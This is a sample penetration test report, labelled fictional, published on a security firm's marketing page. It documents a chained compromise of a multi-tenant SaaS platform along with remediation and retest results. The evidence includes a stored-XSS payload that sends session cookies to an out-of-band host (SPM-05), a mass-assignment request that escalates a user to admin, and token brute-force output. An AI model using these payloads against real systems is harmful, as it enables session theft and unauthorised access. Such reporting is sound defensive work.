Now booking Q3 2026 red team engagements — limited operator availability. Request a slot →
█ Sample document · Illustrative content · Not a real engagement

Web Application Penetration Test

Prepared for █████████ Technologies Inc.

Engagement
SPM-WEB-01
Report ref
SPM-2026-0417
Test window
12–23 May 2026
Report version
1.2 (post-retest)
Approach
Grey-box, 2 user roles
Standards
OWASP WSTG 4.2, ASVS 5.0, PTES
Scope
app-staging & api-staging · 74 endpoints
Environment
Staging mirror of production
Test accounts
pentest.user@█████ (member)
pentest.admin@█████ (org admin)
Source IPs
203.0.113.41
203.0.113.42
Authorisation
Signed RoE — 8 May 2026
Deconfliction
24/7 contact provided
Lead operator
SPM Tech — ██████
Retest completed
18 June 2026

Test accounts and source addresses are agreed before testing begins and repeated here so your team can allowlist our traffic, correlate it in logs, and cleanly separate our activity from anything genuinely hostile during the same window.

About this document. This is a redacted, fully fictional sample built to show the structure, depth, and tone of a real SPM Tech deliverable. The client, hostnames, and findings are invented; no real engagement or customer is represented here. Everything else—the format, the level of technical detail, the remediation guidance, and the retest section—matches what you receive.

01

Executive summary

Between 12 and 23 May 2026, SPM Tech performed a penetration test of █████████'s customer-facing SaaS platform. We identified seven issues: one critical, two high, two medium, one low, and one informational.

The headline result is not the count. Starting from an unauthenticated position with no credentials, we chained four of these issues together and obtained administrative access to the platform, from which we could read and modify data belonging to every customer organisation on it—not only our own test tenant. We confirmed that access, documented it, and stopped; no real customer data was accessed.

One pattern explains most of what we found: the application authenticates reliably but authorises inconsistently. Identity is checked carefully at the front door and then trusted everywhere behind it, so internal endpoints treat any request that reaches them as legitimate regardless of who sent it. Fixing that pattern—rather than the seven symptoms individually—is the durable remediation, and it is the subject of our roadmap in §06.

Verdict as tested: the platform was exploitable to full multi-tenant compromise by an unauthenticated attacker on the public internet. Verdict after remediation: all seven findings were fixed by the client and verified closed during the retest on 18 June 2026.

02

Scope & approach

Testing was performed against a staging environment configured as a mirror of production, with two accounts supplied by the client (one standard user, one organisation administrator) in a dedicated test tenant.

In scopeDetail
Web applicationapp-staging.████████.com — all authenticated and unauthenticated routes
REST APIapi-staging.████████.com/v1 — 74 documented endpoints
AuthenticationEmail/password, SSO (SAML), password reset, session handling
Roles testedStandard user, organisation administrator, plus unauthenticated
Out of scopeReason
Production tenantsClient instruction — staging mirror used instead
Denial of serviceExcluded by rules of engagement
Physical & social engineeringNot part of this package
Third-party SaaS integrationsNo authorisation to test vendor systems

Testing was manual throughout, supported by an intercepting proxy and custom scripts. Automated scanning was used only for coverage checks—every finding in this report was discovered, verified, and exploited by hand. Work followed the OWASP Web Security Testing Guide 4.2, with engagement structure per PTES.

03

Findings summary

1Critical
2High
2Medium
1Low
1Info
04

Attack narrative

Individually, several of these findings would be routine. Chained, they took us from an anonymous internet user to full control of the platform in 4 hours 20 minutes of hands-on time. This is the sequence we demonstrated, and the reason SPM-01 is rated critical rather than high.

Reconnaissance — unauthenticated

Malformed requests to the API returned full stack traces (SPM-07), disclosing the framework, its exact version, ORM in use, and internal file paths. This told us which authentication library generated reset tokens—the detail that made step 2 targeted rather than speculative.

Initial access — account takeover

Password-reset tokens were derived from a time-seeded generator (SPM-03). By requesting a reset for a known user address and generating candidate tokens for the surrounding time window, we obtained a valid reset link and took over a standard user account without any interaction from its owner.

Privilege escalation — standard user to administrator

The profile update endpoint bound request fields directly onto the user model (SPM-02). Adding "role": "org_admin" to an otherwise ordinary profile save granted the compromised account administrative rights over its organisation.

Lateral movement — one tenant to all tenants

Administrative API calls accepted an organisation_id supplied by the caller and never verified membership (SPM-01). Substituting other identifiers returned and modified records belonging to unrelated customers. At this point the boundary between tenants no longer existed.

No individual finding here required an exotic technique. What made the chain possible was that each layer assumed a previous layer had already checked authorisation. An automated scanner would likely have reported only SPM-05 and SPM-06.

05

Detailed findings

CRITICAL SPM-01 CVSS 9.1

Cross-tenant data access via unvalidated organisation context

Affected

GET|PATCH|DELETE /v1/organisations/{id}/* — 23 endpoints across the administrative API.

Description

Administrative API endpoints accept an organisation identifier as a path parameter and use it directly in the data-layer query. The application confirms that the caller holds an administrator role, but never confirms that the caller administers the organisation being requested. Any authenticated administrator of any tenant can therefore operate against every other tenant by changing one value in the URL.

Organisation identifiers are sequential integers, so enumerating the full customer list required no guessing. During testing the identifier space was walked from 1 to 500 in under two minutes.

Impact

Complete loss of tenant isolation—the security property a multi-tenant SaaS platform exists to provide. An attacker with any administrator account, including one created through a self-service trial, could read every customer's user records, billing details, and uploaded documents, and modify or delete them. For a platform handling regulated data this is a reportable breach of confidentiality and integrity across the entire customer base simultaneously.

Evidence

Authenticated as an administrator of test organisation 412, requesting an unrelated organisation:

GET /v1/organisations/87/members HTTP/1.1
Host: api-staging.████████.com
Authorization: Bearer eyJhbGciOi████████████████

HTTP/1.1 200 OK
Content-Type: application/json

{
  "organisation_id": 87,
  "name": "████████ Logistics",
  "members": [
    { "id": 9051, "email": "████████@████████.com", "role": "org_admin" },
    { "id": 9052, "email": "████████@████████.com", "role": "member" },
    ... 34 further records omitted
  ]
}

The same substitution succeeded against PATCH and DELETE routes. We verified write access by renaming a second test organisation created for this purpose, and made no modifications to any record we did not own.

Reproduction

  1. Authenticate as an administrator of any organisation and capture the bearer token.
  2. Note your own organisation identifier from GET /v1/me.
  3. Issue GET /v1/organisations/{other_id}/members with any other identifier.
  4. Observe a 200 OK containing another tenant's records.

Remediation

  • Derive tenant context from the session, never from the request. The organisation a caller may act on should be resolved from their authenticated identity server-side; it should not be an input the client supplies.
  • Where an identifier must appear in the path, enforce a membership check in a single shared authorisation middleware that every route inherits by default, rather than per-handler checks that can be omitted on new endpoints.
  • Replace sequential integer identifiers with unguessable values (UUIDv4 or similar). This is defence in depth, not a fix—it raises the cost of enumeration but does not restore isolation on its own.
  • Add an automated test asserting that a member of tenant A receives 403 for every route parameterised by tenant B, so regressions surface in CI.

ASVS 5.0 mapping

Verification requirements this finding fails:

  • 8.2.2 (L1) — data-specific access must be restricted to consumers with explicit permissions to those data items, mitigating IDOR and broken object level authorization.
  • 8.3.1 (L1) — authorization rules must be enforced at a trusted service layer, not by controls an untrusted consumer can manipulate.
  • 8.1.1 (L1) — authorization documentation must define the rules restricting function-level and data-specific access by consumer permissions and resource attributes.
CWE-639 OWASP API1:2023 WSTG-ATHZ-04 ATT&CK T1078
HIGH SPM-02 CVSS 8.1

Privilege escalation through mass assignment on profile update

Affected

PATCH /v1/users/me

Description

The profile update handler passes the parsed request body directly into the user model's update method. Every column on that model is therefore writable by the user, including fields never rendered by the front-end—among them role, email_verified, and organisation_id. The endpoint validates the format of submitted fields but not whether the caller is permitted to write them.

Impact

Any authenticated user can promote themselves to organisation administrator with a single request, which in turn unlocks the administrative API surface exploited in SPM-01. Combined, these two findings mean any user of any tenant—including a self-service trial signup—can reach total platform compromise.

Evidence

PATCH /v1/users/me HTTP/1.1
Host: api-staging.████████.com
Authorization: Bearer eyJhbGciOi████████████████
Content-Type: application/json

{ "display_name": "test", "role": "org_admin" }

HTTP/1.1 200 OK

{ "id": 4417, "display_name": "test", "role": "org_admin" }

The elevated role persisted across sessions and was honoured by authorisation checks on subsequent requests.

Reproduction

  1. Register or authenticate as a standard user.
  2. Send the request above, adding "role": "org_admin" to a normal profile save.
  3. Re-authenticate and confirm administrative routes now return 200.

Remediation

  • Bind requests to an explicit allowlist of user-writable fields (display_name, avatar_url, locale), and discard everything else before it reaches the model layer.
  • Move role changes to a dedicated, separately authorised endpoint that logs the actor, the target, and the previous value.
  • Audit every other endpoint using the same binding pattern—this is a framework idiom, so where it appears once it usually appears in several places.

ASVS 5.0 mapping

Verification requirements this finding fails:

  • 15.3.3 (L2) — the application must have countermeasures against mass assignment, limiting allowed fields per controller and action so a field cannot be written when it was not intended to be part of that action.
  • 8.1.2 (L2) — authorization documentation must define field-level access restrictions for both read and write.
CWE-915 OWASP API3:2023 WSTG-BUSL-01
HIGH SPM-03 CVSS 7.5

Predictable password-reset tokens permit account takeover

Affected

POST /v1/auth/forgot-password, POST /v1/auth/reset-password

Description

Reset tokens are generated by hashing the target's email address together with the current Unix timestamp in seconds, using a non-cryptographic pseudo-random source seeded from that same timestamp. Because both inputs are known or narrowly bounded to an attacker—the address is the account being targeted and the timestamp is the moment of the request—the resulting token space for a given reset is small enough to exhaust.

Tokens remained valid for 24 hours and were not invalidated when a newer reset was requested, widening the window considerably.

Impact

Takeover of any account whose email address is known, with no interaction from the account owner and no prior access. Because the platform's SSO users can also fall back to password authentication, this bypasses the SSO controls those customers rely on.

Evidence

Generating candidates across a ±90-second window around a triggered reset produced a valid token in 41 seconds on commodity hardware:

[*] target: ████████@████████.com
[*] reset requested at t=1778294401
[*] generating candidates t-90 .. t+90
[+] valid token found: a7f3████████████████████ (t=1778294417)
[+] elapsed: 41.2s
[+] password set — authenticated as user 4419

Reproduction

  1. Trigger a reset for a known address and note the approximate request time.
  2. Generate token candidates for each second in the surrounding window using the disclosed algorithm.
  3. Submit candidates to the reset endpoint until one returns success.

Remediation

  • Generate tokens from a cryptographically secure random source with at least 128 bits of entropy, independent of any user-supplied or time-derived value.
  • Store only a hash of the token; compare in constant time.
  • Reduce validity to 30–60 minutes, make tokens single-use, and invalidate all outstanding tokens for an account when a new one is issued or the password changes.
  • Rate-limit reset submission per account and per source address, and alert on bursts of failed attempts.

ASVS 5.0 mapping

Verification requirements this finding fails:

  • 11.5.1 (L2) — all random values intended to be non-guessable must come from a CSPRNG with at least 128 bits of entropy. (ASVS notes explicitly that UUIDs do not satisfy this.)
  • 6.4.1 (L1) — system-generated activation codes must be securely randomly generated and expire after a short period or once used.
  • 6.4.3 (L2) — a secure forgotten-password reset process must be implemented that does not bypass any enabled multi-factor mechanism.
CWE-340 OWASP A07:2021 WSTG-ATHN-09
MEDIUM SPM-04 CVSS 6.5

Race condition allows unlimited redemption of single-use invitations

Affected

POST /v1/invitations/{token}/accept

Description

Invitation acceptance reads the invitation, checks that it has not been redeemed, then writes the redemption in a separate statement. The check and the write are not atomic and are not protected by a lock or a uniqueness constraint, so concurrent requests carrying the same token all observe the unredeemed state and all succeed.

Impact

A single invitation can seat an unlimited number of users. Beyond the licensing and billing consequence, invitations are the mechanism by which users are attached to an organisation—so a leaked or forwarded invitation link becomes a reusable door into that tenant rather than a one-time grant.

Evidence

Twenty concurrent acceptance requests using one token:

$ ./race.py --token 8f2c████████ --concurrency 20

  requests sent      : 20
  HTTP 200 (accepted): 17
  HTTP 409 (rejected): 3
  seats consumed     : 1

[!] 17 accounts joined organisation 412 from a single invitation

Reproduction

  1. Create a single-use invitation from an administrator account.
  2. Dispatch 20 acceptance requests in parallel with the same token.
  3. Observe multiple successes and a member count exceeding the seats billed.

Remediation

  • Enforce redemption with a database-level uniqueness constraint on the invitation identifier so duplicate writes fail deterministically.
  • Wrap the read-check-write in a single transaction with an appropriate row lock (SELECT ... FOR UPDATE), rather than relying on application-level ordering.
  • Reconcile seat counts against billing on a schedule and alert on divergence.

ASVS 5.0 mapping

Verification requirements this finding fails:

  • 15.4.2 (L3) — checks on a resource's state and the actions depending on them must be performed as a single atomic operation, preventing time-of-check to time-of-use race conditions.
  • 15.4.1 (L3) — shared objects accessed concurrently must be handled with thread-safe types and synchronisation mechanisms such as locks.

Why a scanner does not find this. Every individual request in the sequence is well-formed, authorised, and returns a normal response. The defect exists only in the timing relationship between requests, which is why business-logic testing is performed manually.

CWE-362 OWASP API6:2023 WSTG-BUSL-06
MEDIUM SPM-05 CVSS 5.4

Stored cross-site scripting in display name field

Affected

Administrative console — member list view, rendering display_name.

Description

The member list in the administrative console renders user display names through a raw-HTML binding rather than the framework's escaping default. Values are sanitised on the public profile view but not in this administrative context, so a payload stored by a low-privilege user executes in the browser of any administrator who views the organisation's member list.

Impact

A standard user can execute script in an administrator's session. Because the application stores its session token in a cookie readable by JavaScript (see SPM-06), this permits session theft and, by extension, the administrative access described in SPM-01. Exploitation requires an administrator to visit a routine page, which they do as part of normal duties.

Evidence

PATCH /v1/users/me
{ "display_name": "<img src=x onerror=fetch('https://████████.oast.site/'+document.cookie)>" }

→ Payload fired on next administrator view of /admin/members
→ Callback received with session cookie ████████

Reproduction

  1. As a standard user, set the display name to the payload above.
  2. As an administrator of the same organisation, open the member list.
  3. Observe the outbound callback carrying the administrator's cookie.

Remediation

  • Remove the raw-HTML binding and render the value as text; the framework escapes by default and that default should not be overridden for user-controlled content.
  • Apply output encoding consistently across administrative views—these are frequently missed because they are assumed to be trusted-user surfaces.
  • Deploy a Content-Security-Policy that disallows inline execution, as a second layer.
  • Set HttpOnly on the session cookie so script cannot read it (tracked as SPM-06).

ASVS 5.0 mapping

Verification requirements this finding fails:

  • 1.2.1 (L1) — output encoding for an HTML document must be relevant to the context, encoding the characters required for HTML elements and attributes so document structure cannot be changed.
  • 1.1.2 (L2) — output encoding and escaping must be performed as the final step before use by the interpreter, or by the interpreter itself.
  • 3.4.3 (L2) — responses must include a Content-Security-Policy limiting execution of malicious JavaScript.
CWE-79 OWASP A03:2021 WSTG-INPV-02
LOW SPM-06 CVSS 3.7

Session cookie missing SameSite and Secure attributes

Affected

Session cookie sid, set at POST /v1/auth/login.

Description

The session cookie is issued without Secure, SameSite, or HttpOnly. It is therefore transmissible over plaintext HTTP if a request is ever downgraded, attached to cross-site requests, and readable by any JavaScript executing in the page.

Impact

On its own, limited—the application redirects to HTTPS and no cross-site state-changing endpoint was found unprotected. Its significance here is as an amplifier: the missing HttpOnly flag is what turns SPM-05 from a defacement into session theft.

Evidence

HTTP/1.1 200 OK
Set-Cookie: sid=b41f████████████████; Path=/; Max-Age=1209600

Remediation

  • Issue the cookie as Secure; HttpOnly; SameSite=Lax (or Strict if the flow permits).
  • Add HTTP Strict Transport Security with a suitable max-age to prevent downgrade.
  • Shorten session lifetime and rotate the identifier on privilege change.

ASVS 5.0 mapping

Verification requirements this finding fails:

  • 3.3.1 (L1) — cookies must set the Secure attribute, using the __Host- or __Secure- name prefix.
  • 3.3.4 (L2) — a cookie whose value should not be reachable by client-side script, such as a session token, must set HttpOnly.
  • 3.3.2 (L2) — each cookie's SameSite attribute must be set according to that cookie's purpose.
  • 3.4.1 (L1) — a Strict-Transport-Security header with a maximum age of at least one year must be present on all responses.
CWE-1275 OWASP A05:2021 WSTG-SESS-02
INFORMATIONAL SPM-07 No CVSS

Verbose error responses disclose stack traces and dependency versions

Affected

API error handler — observed on 11 endpoints when supplied malformed input.

Description

Unhandled exceptions return the full stack trace, framework and ORM versions, and absolute server file paths. Debug-level error handling appears to be enabled in this environment.

Impact

No direct compromise. The practical impact in this engagement was to accelerate the rest of it: the disclosed authentication library and version told us how reset tokens were generated, which is what made SPM-03 a targeted attack instead of guesswork. We record it as informational because it grants no access by itself, and rate it as worth fixing because of exactly that acceleration.

Evidence

HTTP/1.1 500 Internal Server Error

{
  "error": "TypeError: Cannot read property 'id' of undefined",
  "stack": "at /srv/████████/api/src/handlers/members.js:118:23 ...",
  "framework": "████████ 4.18.2",
  "orm": "████████ 6.9.1"
}

Remediation

  • Return a generic error body with a correlation identifier; log the detail server-side only.
  • Confirm debug mode is disabled in every non-development environment via configuration management rather than by convention.

ASVS 5.0 mapping

Verification requirements this finding fails:

  • 16.5.1 (L2) — a generic message must be returned when an unexpected or security-sensitive error occurs, with no exposure of internal data such as stack traces, queries, secret keys, or tokens.
  • 13.4.2 (L2) — debug modes must be disabled for all components in production environments to prevent information leakage.
CWE-209 OWASP A05:2021 WSTG-ERRH-01
06

Remediation roadmap

Ordered by risk reduction per unit of effort rather than by severity alone. Phase 1 breaks the demonstrated attack chain; the remaining phases address the pattern that produced it.

PhaseActionFindingsEffort
1 — Immediate Allowlist writable profile fields; replace reset-token generation with a CSPRNG and shorten validity SPM-02, SPM-03 Low
2 — Within 2 weeks Resolve tenant context from the session; add membership enforcement to shared authorisation middleware SPM-01 Medium
3 — Within 30 days Atomic invitation redemption; escape administrative views; harden session cookie; disable debug errors SPM-04, SPM-05, SPM-06, SPM-07 Low
4 — Structural Default-deny authorisation policy inherited by all routes, with CI tests asserting cross-tenant denial Pattern-level Medium

Our recommendation: treat phase 4 as the actual fix. Phases 1–3 close the findings in this report; phase 4 is what prevents the next endpoint your team ships from reintroducing the same class of issue.

07

Retest results

A retest was performed on 18 June 2026 at no additional cost, as included with every engagement. Each finding was re-tested using the original reproduction steps, plus variations intended to defeat a narrow fix.

IDFix verifiedResult
SPM-01Tenant context now derived from session; membership enforced in shared middleware. Bypass attempts with forged headers and nested parameters rejected.✓ Closed
SPM-02Field allowlist applied; role writes moved to an audited endpoint. Nested and array-wrapped variants rejected.✓ Closed
SPM-03Tokens now 256-bit CSPRNG, hashed at rest, single-use, 30-minute validity. 2M candidate attempts produced no collision.✓ Closed
SPM-04Uniqueness constraint added; 200 concurrent redemptions yielded exactly one success.✓ Closed
SPM-05Raw binding removed; CSP deployed. Payload renders as text in all administrative views tested.✓ Closed
SPM-06Secure; HttpOnly; SameSite=Lax confirmed on issuance and rotation; HSTS present.✓ Closed
SPM-07Generic error bodies with correlation IDs; no stack traces observed across 40 malformed requests.✓ Closed

Attestation. On completion of a retest we issue a signed attestation letter stating the scope, dates, methodology, and remediation status—the document SOC 2 auditors, enterprise procurement teams, and cyber-insurance providers typically request. It is included in the engagement price.

08

Appendix — methodology & severity

Methodology

Testing followed the OWASP Web Security Testing Guide 4.2 across information gathering, configuration management, identity management, authentication, authorisation, session management, input validation, error handling, cryptography, business logic, and client-side testing, with control coverage cross-checked against the OWASP Application Security Verification Standard 5.0. Engagement structure—pre-engagement scoping, intelligence gathering, threat modelling, exploitation, post-exploitation, reporting—followed PTES. Findings are rated with CVSS v3.1 and mapped to CWE, the relevant OWASP category, and the specific OWASP ASVS 5.0 verification requirements they fail.

The ASVS mapping is included on every finding because it makes remediation verifiable against a published standard rather than against our opinion: each requirement is a testable statement your team, your auditor, or a future assessor can check independently. Where a requirement's level (L1–L3) is shown, it indicates the assurance level at which ASVS expects it—useful when deciding what to prioritise if you are working toward a target level rather than closing findings one at a time.

Automated tooling was used for coverage assurance and to catch regressions, never as a source of findings. Every issue in this report was manually verified and manually exploited; anything a tool reported that we could not reproduce by hand was excluded.

Severity definitions

RatingCVSSMeaning
CRITICAL9.0–10.0Direct compromise of the platform or its data, typically with little or no privilege required. Fix immediately.
HIGH7.0–8.9Significant compromise, or a reliable step toward one. Fix in the current cycle.
MEDIUM4.0–6.9Meaningful impact under realistic conditions, or a strong enabler when chained. Schedule.
LOW0.1–3.9Limited direct impact; usually hardening or an amplifier for other issues.
INFO—No direct security impact, but materially useful to an attacker or worth correcting on principle.

On ratings. Where a finding's realistic impact differs from its mechanical CVSS score, we say so in the finding and explain why. SPM-01 is the example here: the score reflects the technical properties, while the critical rating reflects that tenant isolation is the security guarantee this product sells.

This is what lands in your inbox.

Fixed scope, fixed price, and a report written for both your board and your engineers. Tell us what you're building and we'll send a proposal within 24 hours.

All communications encrypted · NDA available · Free retest included · Response within 24h